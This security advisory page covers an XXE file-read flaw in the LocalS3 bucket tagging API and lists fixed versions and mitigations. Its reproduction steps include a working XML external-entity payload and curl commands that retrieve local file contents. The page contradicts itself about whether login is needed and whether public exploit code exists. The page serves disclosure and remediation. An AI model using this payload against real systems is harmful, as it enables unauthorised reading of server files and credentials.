# GHSA-v232-254c-m6p7: LocalS3 Project Vulnerable to XML External Entity (XXE) Injection via Bucket Tagging API

> An attacker can read arbitrary files from the server filesystem via XXE injection in the bucket tagging API of the LocalS3 service.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 10 Mar 2025

## What is GHSA-v232-254c-m6p7?

GHSA-v232-254c-m6p7 is a vulnerability in io.github.robothy:local-s3-rest, published on 10 Mar 2025. Any signed-in user can exploit it over the network, with no action from the victim.

### Official description

## Description
The LocalS3 project, an S3-compatible storage service, is vulnerable to XML External Entity (XXE) injection through its bucket tagging API. The vulnerability exists because the application processes XML input without properly disabling external entity resolution.

When processing XML data for bucket tagging operations, the application allows the definition and resolution of external entities. This vulnerability allows an attacker to read arbitrary files from the server's filesystem by defining an external entity that references local files.

The vulnerability is particularly severe because it allows direct access to sensitive files on the server's filesystem, bypassing any intended access controls. The XXE vulnerability can be exploited to read any file that the application process has access to, potentially exposing sensitive configuration files, credentials, or other confidential information.

## Steps to Reproduce
1. Create a bucket in the LocalS3 service using any S3 client (e.g., AWS CLI, boto3)
2. Send a PUT request to the bucket tagging endpoint with the following XML payload:
   ```xml
   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE data [
       <!ENTITY xxe SYSTEM "file:///flag.txt" >
   ]>
   <Tagging><TagSet><Tag><Key>xxe</Key><Value>&xxe;</Value></Tag></TagSet></Tagging>
   ```

    ```
    curl -X PUT \
         -H "Host: app" \
         -H "Authorization: AWS dummy:dummy" \
         -H "Content-Type: application/xml" \
         --data-binary @xxe.xml \
         http://app/bucket?tagging
    ```

3. Retrieve the bucket tags using a GET request to the same endpoint

    ```
    curl -H "Authorization: AWS dummy:dummy" http://app-1/bucket?tagging
    ```

4. The content of the targeted file will be returned in the tag value

The successful exploitation of this vulnerability results in the contents of sensitive files being disclosed through the XML response, demonstrating the ability to read arbitrary files from the server's filesystem.

## Mitigations
- Disable XML external entity resolution in the XML parser configuration
- Implement proper XML parsing security controls such as disabling DTD processing altogether
- Use a safe parser configuration that doesn't process external entities or DTDs by default
- Validate and sanitize all XML input before processing to prevent injection of malicious entities

## Impact
Critical severity vulnerability allowing unauthenticated attackers to read arbitrary files from the server's filesystem. This can lead to exposure of sensitive information, configuration files, and system data, potentially enabling further attacks against the system. The impact is heightened by the fact that the vulnerability requires minimal technical knowledge to exploit and can be triggered through standard S3 API operations.

## Which versions are affected by GHSA-v232-254c-m6p7?

2 open source packages ship an affected version, including io.github.robothy:local-s3-rest.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `io.github.robothy:local-s3-rest` | Maven | All versions | 1.21 |
| `io.github.robothy:local-s3-rest` | Maven | All versions | 1.21 |

## How do I fix GHSA-v232-254c-m6p7?

Upgrade io.github.robothy:local-s3-rest to 1.21 or later.

## Is GHSA-v232-254c-m6p7 being exploited?

There is no known exploitation of GHSA-v232-254c-m6p7 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-v232-254c-m6p7 and fix it if it is affected.

What it is: GHSA-v232-254c-m6p7 is a vulnerability in io.github.robothy:local-s3-rest, published on 10 Mar 2025. Any signed-in user can exploit it over the network, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-v232-254c-m6p7 in the wild and no public exploit code.

Affected packages and fixed versions:
- io.github.robothy:local-s3-rest (Maven): affected all versions; fixed in 1.21
- io.github.robothy:local-s3-rest (Maven): affected all versions; fixed in 1.21

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-v232-254c-m6p7/ (Markdown: https://insights.sbomify.com/GHSA-v232-254c-m6p7/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-v232-254c-m6p7

---
From sbomify Insights: https://insights.sbomify.com/GHSA-v232-254c-m6p7/
Summaries are generated and may contain mistakes; the official description above is the record.
